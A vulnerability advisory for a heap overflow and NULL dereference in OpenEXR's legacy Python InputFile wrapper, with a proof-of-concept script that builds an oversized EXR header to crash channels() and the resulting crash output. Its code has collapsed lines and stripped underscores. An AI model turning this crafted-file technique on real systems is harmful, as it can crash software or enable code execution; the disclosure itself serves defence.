CVE-2025-64182: OpenEXR has buffer overflow in PyOpenEXR_old's channels() and channel()

Summary

A memory safety bug in the legacy OpenEXR Python adapter (the deprecated OpenEXR.InputFile wrapper) allow crashes and likely code execution when opening attacker-controlled EXR files or when passing crafted Python objects.

Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit).

This bug was found with ZeroPath.

Details

Integer overflow and unchecked allocation in InputFile.channel() and InputFile.channels() can lead to heap overflow (32 bit) or a NULL deref (64 bit), around here.

- In channel():

- Width and height are derived from the header dataWindow using int.

- typeSize is a sizet. The buffer size is computed as typeSize width height with no bounds checks.

- The result is passed to PyStringFromStringAndSize(NULL, size) which maps to PyBytesFromStringAndSize. That function expects Pyssizet. If the product overflows or exceeds PYSSIZETMAX, allocation fails or the value wraps.

- The return value is not checked. The code immediately calls PyStringAsString(r) and proceeds to build a FrameBuffer and calls readPixels(miny, maxy).

- On 64 bit: PyBytesFromStringAndSize returns NULL, the wrapper dereferences NULL and crashes.\ On 32 bit: the multiplication can wrap to a small positive size, producing a too-small allocation, after which readPixels writes typeSize width bytes per scanline for height lines into that buffer, causing a heap overflow.

- In channels() the same pattern appears for each requested channel. It also ignores per-channel subsampling when computing the allocation and when inserting the Slice it hardcodes xSampling=1, ySampling=1. If a file actually has subsampled channels this makes the stride and allocation inconsistent, which can also lead to over or under writes.

PoC

python writebigheaderthencrash.py import OpenEXR, Imath

OpenEXR sanity clamp for header coords is about INTMAX/2 - 1 INTMAX = (1 << 31) - 1 MAXCOORD = (INTMAX // 2) - 1 # 1073741822

Choose a scanline width that keeps row-bytes < 2^31 400,000,000 4 bytes = ~1.6 GB per scanline, which many codecs accept WIDTH = min(400000000, MAXCOORD + 1) # pixels HEIGHT = 64 # small height keeps the file tiny

Build windows from pixel counts dw = Imath.Box2i(Imath.V2i(0, 0), Imath.V2i(WIDTH - 1, HEIGHT - 1))

Robustly set NOCOMPRESSION across enum naming differences def nocompression(): # Try common names, else fallback to numeric 0 C = Imath.Compression for name in ("NOCOMPRESSION", "NONE", "NOCOMPRESSIONENUM"): if hasattr(C, name): return Imath.Compression(getattr(C, name)) return Imath.Compression(0)

hdr = { "dataWindow": dw, "displayWindow": dw, "channels": {"R": Imath.Channel(Imath.PixelType(Imath.PixelType.FLOAT))}, "compression": nocompression(), "lineOrder": Imath.LineOrder(Imath.LineOrder.INCREASINGY), }

Write just the header (no pixels) out = OpenEXR.OutputFile("bigheader.exr", hdr) out.close()

Now trigger the legacy bug: huge allocation request returns NULL, code fails to check f = OpenEXR.InputFile("bigheader.exr") print("Triggering crash...") f.channels(["R"])

$ python3 poc.py Triggering crash... libc++abi: terminating due to uncaught exception of type Iex34::InputExc: Unable to query scanline information Abort trap: 6 python3 poc.py

Impact Typical memory stuff.